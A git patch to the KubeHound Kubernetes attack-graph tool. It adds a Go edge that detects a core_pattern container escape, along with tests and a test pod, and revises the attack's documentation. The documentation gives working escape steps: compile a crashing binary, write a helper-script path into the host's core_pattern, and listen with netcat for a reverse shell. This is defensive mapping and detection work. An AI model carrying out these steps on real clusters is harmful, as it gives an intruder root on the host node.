From c532f89ae66d835aa1dd61acc49647ba83f9ab21 Mon Sep 17 00:00:00 2001 From: Martin Voigt <104835031+martinvoigt-dd@users.noreply.github.com> Date: Fri, 13 Sep 2024 10:26:32 +0200 Subject: [PATCH] Add CE_UMH_CORE_PATTERN edge (#209) * add securityContext * fix typo * update exploitation section * update monitoring section * udpate gcc install * update build path * update readme * add core pattern edge * update groovy entry * map container with node directly * update filename * add edge test * add dsl test * generate vertex test * add root condition * update links * fix traversal source test * add new line * Update docs/reference/attacks/CE_UMH_CORE_PATTERN.md Co-authored-by: jt-dd <112463504+jt-dd@users.noreply.github.com> * Update docs/reference/attacks/CE_UMH_CORE_PATTERN.md Co-authored-by: jt-dd <112463504+jt-dd@users.noreply.github.com> * Update CONTRIBUTING.md Co-authored-by: jt-dd <112463504+jt-dd@users.noreply.github.com> * resolve merge conflict * update bash command * fix typo * fix typo again --------- Co-authored-by: jt-dd <112463504+jt-dd@users.noreply.github.com> --- CONTRIBUTING.md | 8 +- docs/reference/attacks/CE_UMH_CORE_PATTERN.md | 23 +++-- docs/reference/attacks/CE_VAR_LOG_SYMLINK.md | 2 +- docs/reference/attacks/VOLUME_DISCOVER.md | 2 +- .../graph/edge/escape_umh_core_pattern.go | 98 +++++++++++++++++++ .../attacks/CE_UMH_CORE_PATTERN.yaml | 4 +- test/system/graph_dsl_test.go | 1 + test/system/graph_edge_test.go | 8 ++ test/system/vertex.gen.go | 6 +- 9 files changed, 135 insertions(+), 17 deletions(-) create mode 100644 pkg/kubehound/graph/edge/escape_umh_core_pattern.go diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index 13bcf4034..bec3ac1b5 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -35,9 +35,9 @@ If a PR sits open for more than a month awaiting work or replies by the author, To add a new attack to KubeHound, please do the following: + Document the attack in the [edges documentation](./docs/reference/attacks) directory -+ Define the attack constraints in the graph database [schema builder](../deployments/kubehound/janusgraph/kubehound-db-init.groovy) -+ Create an implementation of the [edge.Builder](../pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database -+ Create the [resources](../test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster -+ Add an [edge system test](../test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound ++ Define the attack constraints in the graph database [schema builder](./deployments/kubehound/graph/kubehound-db-init.groovy) ++ Create an implementation of the [edge.Builder](./pkg/kubehound/graph/edge/builder.go) interface that determines whether attacks are possible by quering the store database and writes any found as edges into the graph database ++ Create the [resources](./test/setup/test-cluster/attacks/) file in the test cluster that will introduce an instance of the attack into the test cluster ++ Add an [edge system test](./test/system/graph_edge_test.go) that verifies the attack is correctly created by KubeHound See [here](https://github.com/DataDog/KubeHound/pull/68/files) for a previous example PR. diff --git a/docs/reference/attacks/CE_UMH_CORE_PATTERN.md b/docs/reference/attacks/CE_UMH_CORE_PATTERN.md index b71a11e9f..a8377404c 100644 --- a/docs/reference/attacks/CE_UMH_CORE_PATTERN.md +++ b/docs/reference/attacks/CE_UMH_CORE_PATTERN.md @@ -28,7 +28,7 @@ See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/s Determine mounted volumes within the container as per [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks). If the host `/proc/sys/kernel` (or any parent directory) is mounted, this attack will be possible. Example below. ```bash -$ cat /proc/self/mounts +$ cat /proc/self/mounts ... proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0 @@ -40,7 +40,7 @@ proc /hostproc proc rw,nosuid,nodev,noexec,relatime 0 0 First find the path of the container’s filesystem on the host. This can be done by retrieving the current mounts (see [VOLUME_DISCOVER](./VOLUME_DISCOVER.md#checks)). Looks for the `upperdir` value of the overlayfs entry associated with containerd: ```bash -$ cat /etc/mtab +$ cat /etc/mtab # or `cat /proc/mounts` depending on the system ... overlay / overlay rw,relatime,lowerdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/27/fs,upperdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/fs,workdir=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapshots/71/work 0 0 ... @@ -52,7 +52,7 @@ $ OVERLAY_PATH=/var/lib/containerd/io.containerd.snapshotter.v1.overlayfs/snapsh Oneliner alternative: ```bash -export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir=.*, | cut -d = -f 2 | tr -d , | head -n 1) +export OVERLAY_PATH=$(cat /proc/mounts | grep -oe upperdir="[^,]*," | cut -d = -f 2 | tr -d , | head -n 1) ``` Next create a mini program that will crash immediately and generate a kernel coredump. For example: @@ -64,10 +64,16 @@ echo 'int main(void) { buf[i] = 1; } return 0; -}' > /tmp/crash.c && gcc -o crash /tmp/crash.c +}' > /tmp/crash.c ``` -Compile the program and copy the binary into the container as crash. Next write a shell script to be triggered inside the container’s file system as `shell.sh`: +Compile the program and copy the binary into the container as crash: +```bash +apt update && apt install gcc +gcc -o crash /tmp/crash.c +``` + +Next write a shell script to be triggered inside the container’s file system as `shell.sh`: ```bash # Reverse shell @@ -80,8 +86,11 @@ chmod a+x /tmp/shell.sh Finally write the `usermode_helper` script path to the `core_pattern` helper path and trigger the container escape: ```bash -cd /hostproc/sys/kernel +# move to mounted folder with /proc +cd /sysproc echo "|$OVERLAY_PATH/tmp/shell.sh" > core_pattern +cd +apt install netcat-traditional sleep 5 && ./crash & nc -l -vv -p 9000 ``` @@ -89,7 +98,7 @@ sleep 5 && ./crash & nc -l -vv -p 9000 ### Monitoring -+ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel_core_pattern`. ++ Use the Datadog agent to monitor for creation of new `usermode_helper` programs via writes to known locations, in this case `/proc/sys/kernel/core_pattern`. ### Implement security policies diff --git a/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md b/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md index dfac1c73b..f9412700f 100644 --- a/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md +++ b/docs/reference/attacks/CE_VAR_LOG_SYMLINK.md @@ -25,7 +25,7 @@ A pod running as root and with a mount point to the node’s `/var/log` director Execution as root within a container process with the host `/var/log/` (or any parent directory) mounted inside the container. -See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/TOKEN_VAR_LOG_SYMLINK.yaml). +See the [example pod spec](https://github.com/DataDog/KubeHound/tree/main/test/setup/test-cluster/attacks/CE_VAR_LOG_SYMLINK.yaml). ## Checks diff --git a/docs/reference/attacks/VOLUME_DISCOVER.md b/docs/reference/attacks/VOLUME_DISCOVER.md index af0a54e46..921ca76bf 100644 --- a/docs/reference/attacks/VOLUME_DISCOVER.md +++ b/docs/reference/attacks/VOLUME_DISCOVER.md @@ -19,7 +19,7 @@ Represents an attacker within a container discovering a mounted volume. ## Details -Volumes can contains K8s API tokens or other resources useful to an attacker in building an attack path. +Volumes can contain K8s API tokens or other resources useful to an attacker in building an attack path. ## Prerequisites diff --git a/pkg/kubehound/graph/edge/escape_umh_core_pattern.go b/pkg/kubehound/graph/edge/escape_umh_core_pattern.go new file mode 100644 index 000000000..4dd65ae22 --- /dev/null +++ b/pkg/kubehound/graph/edge/escape_umh_core_pattern.go @@ -0,0 +1,98 @@ +package edge + +import ( + "context" + + "github.com/DataDog/KubeHound/pkg/kubehound/graph/adapter" + "github.com/DataDog/KubeHound/pkg/kubehound/graph/types" + "github.com/DataDog/KubeHound/pkg/kubehound/models/converter" + "github.com/DataDog/KubeHound/pkg/kubehound/models/shared" + "github.com/DataDog/KubeHound/pkg/kubehound/storage/cache" + "github.com/DataDog/KubeHound/pkg/kubehound/storage/storedb" + "github.com/DataDog/KubeHound/pkg/kubehound/store/collections" + "go.mongodb.org/mongo-driver/bson" +) + +var ProcMountList = bson.A{ + "/", + "/proc", + "/proc/sys", + "/proc/sys/kernel", +} + +func init() { + Register(&EscapeCorePattern{}, RegisterDefault) +} + +type EscapeCorePattern struct { + BaseContainerEscape +} + +func (e *EscapeCorePattern) Label() string { + return "CE_UMH_CORE_PATTERN" +} + +func (e *EscapeCorePattern) Name() string { + return "ContainerEscapeCorePattern" +} + +func (e *EscapeCorePattern) Processor(ctx context.Context, oic *converter.ObjectIDConverter, entry any) (any, error) { + return containerEscapeProcessor(ctx, oic, e.Label(), entry) +} + +func (e *EscapeCorePattern) Stream(ctx context.Context, store storedb.Provider, _ cache.CacheReader, + callback types.ProcessEntryCallback, complete types.CompleteQueryCallback) error { + containers := adapter.MongoDB(store).Collection(collections.ContainerName) + + pipeline := []bson.M{ + { + "$match": bson.M{ + "k8.securitycontext.runasuser": 0, + "runtime.runID": e.runtime.RunID.String(), + "runtime.cluster": e.runtime.ClusterName, + }, + }, + { + "$lookup": bson.M{ + "as": "procMountContainers", + "from": "volumes", + "let": bson.M{ + "rootContainerId": "$container_id", + }, + "pipeline": []bson.M{ + { + "$match": bson.M{ + "$and": bson.A{ + bson.M{"$expr": bson.M{ + "$eq": bson.A{ + "$container_id", "$$rootContainerId", + }, + }}, + }, + "type": shared.VolumeTypeHost, + "source": bson.M{ + "$in": ProcMountList, + }, + "runtime.runID": e.runtime.RunID.String(), + "runtime.cluster": e.runtime.ClusterName, + }, + }, + }, + }, + }, + { + "$project": bson.M{ + "_id": 1, + "node_id": 1, + }, + }, + } + + cur, err := containers.Aggregate(ctx, pipeline) + if err != nil { + return err + } + defer cur.Close(ctx) + + return adapter.MongoCursorHandler[containerEscapeGroup](ctx, cur, callback, complete) +} diff --git a/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml b/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml index 959bc2864..9fbad7505 100644 --- a/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml +++ b/test/setup/test-cluster/attacks/CE_UMH_CORE_PATTERN.yaml @@ -7,13 +7,15 @@ metadata: app: kubehound-edge-test spec: containers: - - name: umh-core-pod + - name: umh-core-container image: ubuntu volumeMounts: - mountPath: /sysproc name: nodeproc command: [ "/bin/sh", "-c", "--" ] args: [ "while true; do sleep 30; done;" ] + securityContext: + runAsUser: 0 volumes: - name: nodeproc hostPath: diff --git a/test/system/graph_dsl_test.go b/test/system/graph_dsl_test.go index 9756f3551..a71e3f6b2 100644 --- a/test/system/graph_dsl_test.go +++ b/test/system/graph_dsl_test.go @@ -115,6 +115,7 @@ func (suite *DslTestSuite) TestTraversalSource_escapes() { "path[kube-proxy, CE_MODULE_LOAD, Node]", "path[kube-proxy, CE_PRIV_MOUNT, Node]", "path[varlog-container, CE_VAR_LOG_SYMLINK, Node]", + "path[umh-core-container, CE_UMH_CORE_PATTERN, Node]", } suite.ElementsMatch(escapes, expected) diff --git a/test/system/graph_edge_test.go b/test/system/graph_edge_test.go index 19b656127..17dd034c6 100644 --- a/test/system/graph_edge_test.go +++ b/test/system/graph_edge_test.go @@ -130,6 +130,14 @@ func (suite *EdgeTestSuite) TestEdge_CE_SYS_PTRACE() { suite._testContainerEscape("CE_SYS_PTRACE", DefaultContainerEscapeNodes, containers) } +func (suite *EdgeTestSuite) TestEdge_CE_UMH_CORE_PATTERN() { + containers := map[string]bool{ + "umh-core-container": true, + } + + suite._testContainerEscape("CE_UMH_CORE_PATTERN", DefaultContainerEscapeNodes, containers) +} + func (suite *EdgeTestSuite) TestEdge_CONTAINER_ATTACH() { // Every container should have a CONTAINER_ATTACH incoming from a pod rawCount, err := suite.g.V(). diff --git a/test/system/vertex.gen.go b/test/system/vertex.gen.go index 2a958eb27..1afb651c1 100644 --- a/test/system/vertex.gen.go +++ b/test/system/vertex.gen.go @@ -1,5 +1,5 @@ // PLEASE DO NOT EDIT -// THIS HAS BEEN GENERATED AUTOMATICALLY on 2023-11-01 10:47 +// THIS HAS BEEN GENERATED AUTOMATICALLY on 2024-06-19 15:03 // // Generate it with "go generate ./..." // @@ -967,9 +967,9 @@ var expectedContainers = map[string]graph.Container{ // Node: "", Compromised: 0, }, - "umh-core-pod": { + "umh-core-container": { StoreID: "", - Name: "umh-core-pod", + Name: "umh-core-container", Image: "ubuntu", Command: []string{}, Args: []string{},